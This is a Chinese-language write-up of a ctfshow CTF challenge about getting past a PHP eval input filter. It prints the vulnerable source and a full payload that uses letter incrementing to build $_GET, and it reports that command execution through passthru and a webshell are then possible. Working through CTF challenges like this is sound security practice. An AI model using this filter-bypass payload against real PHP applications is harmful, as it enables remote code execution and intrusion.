前兩天做的ctfshow的吃瓜杯的題目,做一個記錄。
開始
打開題目看到的是phpinfo的頁面
然後往下一劃艹
這可真是吓了一跳,這麼多disable_functions函數
不過也是有驚喜的
cookie裡面看到了提示。
然後打開看見了源碼
<?php
error_reporting(0);
if ($_GET['looklook']){
highlight_file(__FILE__);
}else{
setcookie("hint", "?looklook", time()+3600);
}
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) || strlen($ctfshow) <= 107) {
if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/",$ctfshow)){
eval($ctfshow);
}else{
echo("fucccc hacker!!");
}
}
} else {
phpinfo();
}
?>
這個正則真是絕了,md沒有符号了都。
測試一下還有什麼符号
<?php
for($a = 0; $a < 256; $a++){
if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/", chr($a))){
echo chr($a)." ";
}
}
?>
還有幾個殘留的
一看就是無數字、字母、符号的rce繞過了
然後看了一圈之前的筆記
常用繞過基本都沒有戲了
^ % * & @ ?
這六個扛把子的直接被幹掉了。靠
然後又是一直沒有什麼結果。其實是想到隻能是自增的方法拼湊字母的但是無奈但是沒有了解自增的奧秘,一直沒有拼出來還是錯誤的。
直到看到一篇文章
https://f5.pm/go-29700.html
https://ab-alex.github.io/2019/10/17/RCE提高篇
下面那一片才算值真正的啟發,明白自增的原理
下圖來自php官方手冊
自增不隻是能增數字還能增字元
然後還是沒有寫出來。
直到這個wp出來
真是自己做的時候想來想起
一看答案就瞬間明白了
上wp
解析
$_=C; //C
$_++; //D
$C=++$_; //E
$_++; //F
$C_=++$_; //G
$_=(C/C.C){0}; //N
$_++; //O
$_++; //P
$_++; //Q
$_++; //R
$_++; //S
$_=_.$C_.$C.++$_; //$_GET
($$_{1})($$_{2}); $_GET{1} $_GET{2}
解釋N的來源
解釋:
2
這個小技巧我們不知道的話,我們可以用挨個自增的辦法也是行的通的。
$_=C; //C
$_++; //D
$C=++$_; //E
$_++; //F
$C_=++$_; //G
$_++; //H
$_++; //I
$_++; //J
$_++; //K
$_++; //L
$_++; //M
$_++; //N
$_++; //O
$_++; //P
$_++; //Q
$_++; //R //在ascii碼表裡面u在t後面
$_=_.$C_.$C.++$_; //$_GET
($$_{1})($$_{2}); //$_GET{1} $_GET{2}
解釋
自增出來以後我們就可以進行上傳了。
小tips
這裡需要注意的是使用自增的方法的時候我們傳參的時候需要先進行url的編碼。
當然這裡大家可能就會有疑惑了,url編碼我們在傳參的時候不是正則比對不能出現%号嗎,這
裡的%為什麼能夠繞過呢。
其實啊,這裡有個小細節,就是post和get方法傳參的時候會将url編碼的參數自動的進行URL的解碼
上傳的參數根本就不會出現%.
測試結果post
測試結果get
然後上傳上去我們就能夠執行指令了。
但是後面還有一點就是前面我們發現的phpinfo中有很多的過濾函數。我們沒有辦法執行系統的指令,
但是作者還是給我們留下了方法。
passthru函數并沒有過濾
然後就能自由自在的執行指令了。
然後還可以直接的連馬